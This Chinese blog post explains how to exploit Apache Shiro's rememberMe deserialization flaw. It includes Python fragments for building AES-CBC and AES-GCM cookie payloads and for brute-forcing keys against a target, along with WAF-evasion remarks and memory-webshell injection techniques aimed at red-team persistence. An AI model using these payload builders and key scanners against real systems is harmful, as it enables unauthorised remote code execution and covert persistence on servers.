深入利用shiro反序列化漏洞
文章首发于先知 https://xz.aliyun.com/t/8445
很久没写博客了,打理一下
0x00:背景
shiro反序列化RCE是在实战中一个比较高频且舒适的漏洞,shiro框架在java web登录认证中广泛应用,每一次目标较多的情况下几乎都可以遇见shiro,而因其payload本身就是加密的,无攻击特征,所以几乎不会被waf检测和拦截。
0x01:shiro反序列化的原理
先来看看shiro在1.2.4版本反序列化的原理
这里是shiro拿到cookie后的关键代码,先decrypt再反序列化
跟到decrypt方法
调用具体的cipherService,传入加密后的数据和cipherKey进行解密
getDeryptionCipherKey()获取的值也就是这个DEFALUT key,硬编码在程序中
查看CipherService接口的继承关系,发现其仅有一个实现类JcaCipherService(静态可以这样看,动态调试会直接跟进去)
查看实现类的decrypt方法,可以看到iv即ciphertext的前16个字节,因为iv由我们随机定义并附加在最后的ciphertext前面,也就是说只要知道key即可构造反序列化payload
key是硬编码,后续官方修改为获得随机key,但正如一开始所说,存在开源框架配置硬编码key,因此在1.4.2以前很多shiro都可以通过略微修改脚本遍历高频key的方式去攻击,下图举例,github上有很多类似这样的代码
CBC算法的shiro生成payload的关键代码如下,也就是我们通用的生成shiro攻击代码
python中有实现aes-cbc的算法,通过指定mode为AES-CBC,遍历key,随机生成iv,配合ysoserial的gadget即可生成payload
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
file_body = pad(file_body)
encryptor = AES.new(base64.b64decode(key), mode, iv)
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
0x02:高版本下的利用
而在1.4.2以后由于padding oracle的影响,shiro官方把加密方式改为了GCM,所以我们需要更改脚本,添加GCM下的攻击方式去攻击高版本的shiro,通过跟踪代码动态调试可以看出确实是使用GCM加密
https://xzfile.aliyuncs.com/media/upload/picture/20201028115926-f8cd0bd4-18d1-1.png
所以shiro的攻击脚本中的核心代码我们来修改一下,GCM加密不需要padding,但需要一个MAC值(也就是我代码里的tag),这块可以自己跟一下源码,核心代码如下:
iv = os.urandom(16)
cipher = AES.new(base64.b64decode(key), AES.MODE_GCM, iv)
ciphertext, tag = cipher.encrypt_and_digest(file_body)
ciphertext = ciphertext + tag
base64_ciphertext = base64.b64encode(iv + ciphertext)
return base64_ciphertext
0x03:获得key&回显&内存shell
从三月到八月有很多师傅写了很多文章集中在shiro的利用上,我也综合了各位师傅的想法和思路搞了一些脚本
1.key检测:
以前的脚本批量检测shiro的存在或者说获得key我们用到最多的还是ysoserial中的urldns模块,不过这个有一个问题就是如果不出网的话会有问题,所以这里还有一个新的办法就是使用一个空的SimPlePrincpalCollection作为我们要序列化的对象,也就是构造一个正确的rememberMe触发反序列化,如果key是正确的,响应包中不会返回rememberMe=deleteMe,这里一开始我想在脚本中通过检测返回包中是否有deleteMe关键字来做判断,结果发现有一些环境本身就会返回rememberMe=deleteMe,因此最终选择了一个比较暴力的方式,关键代码如下
r1 = requests.get(target, cookies={'rememberMe': "123"}, timeout=10, proxies=PROXY,
verify=False, headers=myheader,allow_redirects=False)
rsp1=len(str(r1.headers))
#这里我先给一个肯定不正确的rememberMe
try:
for key in keys:
print("[-] start key: {0}".format(key))
if ciphertype == 'CBC':
payload = CBCCipher(key,base64.b64decode(checkdata))
if ciphertype == 'GCM':
payload = GCMCipher(key,base64.b64decode(checkdata))
payload = payload.decode()
#print(payload)
r = requests.get(target, cookies={'rememberMe': payload}, timeout=10, proxies=PROXY,
verify=False, headers=myheader,allow_redirects=False) # 发送验证请求
rsp = len(str(r.headers))
if rsp1 != rsp and r.status_code != 400:
#在这里和肯定不正确的返回包header的lenth做比较,如果有差异,则是正确的的key
print("!! Get key: {0}".format(key))
exit()
当然这样也有可能存在误报,大家可以酌情修改,用起来是这样
2.回显:
回显这个点也是有很多师傅发了很多文章,从一开始linux下的半回显到kingkk师傅的tomcat通用半回显再到c0ny1师傅的半自动化挖掘再到fnmsd师傅的通用回显,中间也穿插着其他师傅的文章这里就不列出来了,当然最终我用的也是fnmsd师傅的代码,一路跟了这些文章过来不得不感慨师傅们真是tql以及这种不断提出新思路不断完善的过程实在令本菜鸡拍断大腿。
fnmsd师傅用的其实也是c0ny1师傅的思路,就是在当前线程对象里搜索request对象,判断请求头中是否存在指定请求头,再从response对象里获取输出。
fnmsd师傅也对代码里存在的几个小问题做了好几个版本的修改,最终我在实际运用的时候依然存在一点点问题就是师傅设置的深度优先搜索是52层,结果测试时还是遇到了52层没有搜到的情况,结果随意改成100层就找到了.... 以及在用ysoserial里面有的cc链比较长生成出来的payload差不多逼近了tomact默认对header的限制长度,有点危险。nginx就不说了直接凉,如果遇到nginx需要换个思路,比如可以尝试先分段注入,最后再执行。
代码就不贴了,列一下师傅的文章,他有给出代码
先跑一下测试能不能回显,效果如图
再把输出的payload粘贴到burp中执行命令
3.内存webshell
其实严格来说在回显里提到的kingkk师傅做的是内存webshell,一开始是有点混杂的,但其实跟一路会发现内存和webshell到最后利用的点是不一样的,内存webshell的思路是注册filter(当然还有观星的师傅写的通杀spring的,思路是注册controller,链接在此 基于内存 Webshell 的无文件攻击技术研究),其实在有了fnmsd师傅思路比较好的回显之后,内存webshell可能需求就不太大了,但有时候红队可能需要一个内存shell来维持权限(?)或者需要配合reGeorg代理进内网,所以这个东西还是有必要的
一开始看到threedr3am师傅的基于tomcat的内存 Webshell 无文件攻击技术文章,解决了shiro下的利用,也能做到勉强通杀tomcat(除了tomcat6,原因可看评论区,这个我没测试),但是遇到sihro有一个最大的问题就是长度,没错,这个长度超大发了。菜鸡如我也上蹿下跳试图通过修改ysoserial和payload的代码缩短payload,事实证明我确实不行,长亭师傅的解决办法看了一眼感觉不是特别好用,再加上后来又继续去跟了回显,就没管这个了。后来又看到了涙笑师傅的思路,一下子就解决了长度的问题
涙笑师傅的文章:
其实原理就是在cookie中反序列执行的代码只是插入了一个我们自定义的ClassLoader,这块长度很小。在这个ClassLoader中反射调用defineClass方法,这个方法的byte参数从POST参数中取出来。也就是把我们注册filter的这段payload写在static代码块里,编译后的byte再通过POST传递,自定义ClassLoader加载时会自动执行static代码块的代码。
攻击的时候先生成payload,上面是最终要执行的类,下面是rememberMe中要执行的插入classloader的payload
在burp里是这样:
要注意classData一定要url编码,我刚开始测试没注意这点一直不成功。
涙笑师傅的文中给出了配合reGerog的payload,这里就不粘贴了。
4.内存webshell适配:
后面还有一个问题就是内存webshell怎么适配冰蝎,因为冰蝎用的pageContext类在springboot里面是没有的,所以解决方案一个是反编译后修改冰蝎的代码重新打包,这一块虽然能做出来,但是不通用,而且比较麻烦,有师傅在先知发过文,可以参考冰蝎改造之适配基于tomcat Filter的无文件webshell
另外一个思路就是不改冰蝎的服务端,改内存webshell,也看到有师傅发的文,思路是沿用涙笑师傅通过自定义classloader,接着先注入一个pageContext类,再注入内存webshell,链接在此 冰蝎改造之不改动客户端=>内存马,有兴趣的师傅可以去研究一下。
0x04:后记
上文涉及到的所有脚本和我修改后的ysoserial包将在github中放出
才疏学浅,也是第一次做java安全的研(zong)究(jie)和分享,其他的工作也很多导致shiro研究的断断续续,文章也写得断断续续,时间跨度拉的很大,长达好几个月,后面写的时候很多的东西都快忘记了,因此文章中可能存在错误和疏漏,希望师傅们不吝指出。
最后感谢上文中提到的每一位师傅和部分没有提到的师傅,感谢你们无私的分享,才会让菜鸡如我学习到这么多知识。